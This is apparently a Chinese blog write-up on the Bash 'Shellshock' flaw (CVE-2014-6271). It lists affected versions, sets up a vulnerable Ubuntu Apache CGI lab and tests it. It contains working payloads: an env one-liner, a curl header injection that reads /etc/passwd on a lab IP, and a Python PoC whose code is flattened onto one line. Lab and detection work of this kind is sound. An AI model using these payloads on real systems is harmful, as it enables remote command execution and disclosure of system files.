1. 简介

   bash远程代码执行漏洞,该漏洞会影响目前主流的Linux和Mac OSX操作系统平台,包括但不限于Redhat,CentOS,Ubuntu,Debian,Fedora,Amaron Linux,OSX10.10等平台。该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本,会影响到与bash交互的多种应用,包括HTTP,OpenSSH,DHCP等。
   针对本次漏洞的检测,需要下载含有bash漏洞版本的ubuntu虚拟机,通过Apache服务开启cgi功能进行远程代码执行操作。

1.1 影响版本

   Bash版本小于等于4.3版本。
   主要操作系统版本有:

  • Red Hat Enterprise Linux 4 (ELS)
  • Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2
  • Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1
  • Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1
  • Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2
  • Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1
  • Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1
  • Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1
  • Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2
  • CentOS 5 bash-3.2-33.el5.1
  • CentOS 6 bash-4.1.2-15.el6_5.1
  • CentOS 7 bash-4.2.45-5.el7_0.2
  • Ubuntu:
    10.04
    bash 4.1-2ubuntu3.1
    12.04
    bash 4.2-2ubuntu2.2
    14.04
    bash 4.3-7ubuntu1.1
  • Fedora:
    19
    bash-4.2.47-2.fc19
    20
    bash-4.2.47-4.fc20
    21
    bash-4.3.22-3.fc21
  • Debian:
    4.1-3
    4.1-3+deb6u1
    4.2+dfsg-0.1
    4.2+dfsg-0.1+deb7u1
    4.3-9
    4.3-9.1
  • Amazon Linux AMI
    bash-4.1.2-15.19
  • Mac OS X
    10.10

2. 服务器环境搭建

2.1 安装Ubuntu系统

   在官网中下载Ubuntu12.02系统,在VMware中点击创建虚拟机然后导入下载的Ubuntu的iso路径进行安装,安装完成后输入命令bash -version进行查看bash版本,如图所示为version 4.2.24含有bash破壳漏洞。

2.2 安装Apache服务器

   1.安装完成Ubuntu虚拟机后通过命令Ctrl+Alt+T打开Terminal窗口输入命令sudo apt-get install apache2进行Apache服务器安装,安装完成后在浏览器中输入网址localhost查看是否为Apache it works的展示页面。

   2.安装完成后可能输入命令sudo service apache2 restart会出现重启Apache服务时有报错,其主要原因是apache2.conf文件中ServerName IP:Port和Listen IP:Port不一致,即端口不一致。所以在apache2.conf文件中增加ServerName localhost:80即可。

2.3 配置cgi

   1.首先在根目录下建一个cgi-bin的目录即路径在:/var/www/html/cgi-bin/所有的cgi程序都放在这个cgi-bin的目录下。
   2.打开/etc/apache2/sites-enabled/000-default文件。把文件配置修改为下图所示:即配置cgi的路径,其中的/usr/lib/cgi-bin/修改为/var/www/html/cgi-bin/,并添加了AddHandler cgi-script cgi。如果Options没有ExecCGI这项,记得一定要加上。如图所示:

   3.修改/etc/apache2/mods-enable/cgid.load文件,在mod_cgid.so后面加上AddHandler cgi-script .cgi .pl .py .sh这句,然后重启Apache服务器sudo service apache2 restart如图所示:

   4.修改cgi程序权限。cgi程序属性一定要设为可运行(755),而与cgi有关的HTML文件的目录如果要被cgi程序写入,其权限一定要设为可写(666)。命令为sudo chmod 755 test.cgi

2.4 编写服务端测试文件

   输入命令进入cgi-bin目录cd /var/www/html/cgi-bin,修改test.cgi文件sudo gedit test.cgi添加代码:

#!/bin/bash
echo "Content-type: text/html"
echo ""

具体代码如图所示:

3. 检测方法

3.1 本地验证方法

   在shell中执行命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"执行命令后,如果显示 Vulnerable CVE-2014-6271,证明系统存在漏洞,可改变echo Vulnerable CVE-2014-6271为任意命令进行执行。执行结果如图:

3.2 远程代码执行验证

   在另一台虚拟机命令行中输入命令:
curl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a’ ‘http://192.168.197.137/cgi-bin/test.cgi’ -I;
执行结果如图:

3.3 通过自己python文件以及网上的POC文件验证

   网上以及自己写的python POC文件的主要思想就是构造一个含有攻击的request请求头,然后向含有漏洞的靶场地址发送该请求,根据构造的不同的恶意代码执行情况去判断攻击是否成功,从而判断该系统是否存在bash远程代码执行漏洞。具体代码为如下

#coding=utf-8import urllib, urllib2import cookielib, socketimport cgi, re, osdef get_request(url):socket.setdefaulttimeout(5)i_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36","CustomHeader": "() { test;};echo; echo shellshock one;","CustomHeaderNew": "() { _;} >shellshockme[$($())] { whoami;}",}try:req = urllib2.Request(url, headers=i_headers)response = urllib2.urlopen(req)print response.info()html = response.read()print htmlexcept:print "Error on request"if __name__ == '__main__':url = "http://192.168.197.137/cgi-bin/test.cgi"get_request(url)

bash破壳漏洞分析(一)相关推荐

  1. bash破壳漏洞分析(二)

    1. Bash简介 1.1 定义    Bash(GNU Bourne-Again Shell)是许多Linux发行版的默认Shell. 1.2 概述    目前的Bash使用的环境变量是通过函数名称 ...

  2. 修复linux bash破壳漏洞,Linux系统下如何检测并修复bash中的破壳漏洞​​

    问题:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭. 2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为"破 ...

  3. 修复linux bash破壳漏洞,Linux下bash破壳漏洞检测及修复的方法

    如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏 ...

  4. linux系统漏洞测试过程,Linux下bash破壳漏洞检测方法

    如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,那么我们要怎么知道Linux系统是否存在该漏洞,又该如何修复呢?下面随学习啦小编一起来了解下吧. 问 ...

  5. linux 破壳漏洞,Bash破壳漏洞

    "破壳"是一个严重漏洞的别名,在Red Hat.CentOS.Ubuntu.Fedora.Amazon Linux.OS X 10.10中均拥有存在CVE-2014-6271(即& ...

  6. Bash 破壳漏洞Shellshock (CVE-2014-6271)复现

    漏洞简介 GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令. ...

  7. linux 鬼精灵漏洞,鬼精灵Grinch:比Bash破壳(shellshock)更严重的Linux漏洞

    安全研究人员在Linux操作系统中发现了一个名为鬼精灵(Grinch)的漏洞,该漏洞存在于linux系统中,和Bash破壳(shellshock)漏洞一样可以在受害者机器上获得最高权限--Root. ...

  8. ShellShock(破壳漏洞)的简单分析

    (如果有帮助,请点个赞:如果有错误,请指出:如果转载,请注明出处) 关于本文更详细的内容,欢迎关注我的个人网站<程序员网>  ->https://www.itmangoto.cn/ ...

  9. 墨者靶场 初级:Bash漏洞分析溯源

    墨者靶场 初级:Bash漏洞分析溯源 题目 背景介绍 实训目标 解题方向 解题步骤 题目 背景介绍 安全工程师"墨者"对一单位业务系统进行授权测试,在测试过程中,发现存在bash命 ...

最新文章

  1. 看过来,包邮送AirPods Pro!
  2. PowerBI从SCCM数据库中分析数据和KPI展现
  3. 一步一步SharePoint 2007之十四:实现Form认证(4)——创建管理帐户
  4. ADB连接小米手机模拟上下左右滑动实例演示
  5. vue 渲染函数处理slot_面试官:Vue 和 React 对于组件的更新粒度有什么区别?
  6. 阿里云centos服务器rdp远程桌面规则_阿里云服务器使用教程 新手用户的好帮手...
  7. 基于事件驱动架构构建微服务第2部分:领域对象和业务规则
  8. WordPress中输出当前页面SQL语句的方法
  9. python argument list too long_[已解决]Argument list too long如何处理?
  10. 封头名义厚度如何圆整_松原封头价格
  11. Dubbo(十五)springboot工程dubbo整合SpringCloud Hystrix
  12. At the beginning of the month, the doctor introduced in the article “iOS
  13. 量子计算是否会终结区块链?
  14. [搜片神器]使用C#实现DHT磁力搜索的BT种子后端管理程序+数据库设计(开源)
  15. 计算机管理的事件id,事件ID6009,6006检测电脑开关机时间
  16. 多边形的扫描转换算法 c语言,C++程序例题:多边形扫描转换算法
  17. 首届“十大最具价值”智能交互(语音)创业项目遴选榜单丨Xtecher权威发布
  18. PDF电子书制作书签目录全过程
  19. Tsinsen1295 necklace
  20. 华硕服务器设置固态盘启动不了系统盘,华硕uefi引导启动不了系统安装系统安装...

热门文章

  1. 测试老江湖告诉你,测试猿如何优雅的甩锅?
  2. 毕设论文评审意见分类
  3. 华为8xmax升级鸿蒙系统,华为新系统发布在即,35款机型率先体验,看看你的手机在其中吗...
  4. Cocos2d-x常见面试题
  5. 【LeViT: a Vision Transformer in ConvNet’s Clothing for Faster Inference论文解读】
  6. 石器时代服务器端支持WIN10,经典石器时代v9.0端(XP.WIN7)架设成功+客户端+架设录像...
  7. ADAS视觉方案盘点上篇:摄像头、芯片和算法
  8. Java程序员秋招面经大合集(BAT美团网易小米华为中兴等)
  9. docker containers status显示Removal In Progress
  10. 载阿霉素细胞膜纳米囊泡|细胞外囊泡递载circDYM|细胞膜仿生聚合物囊泡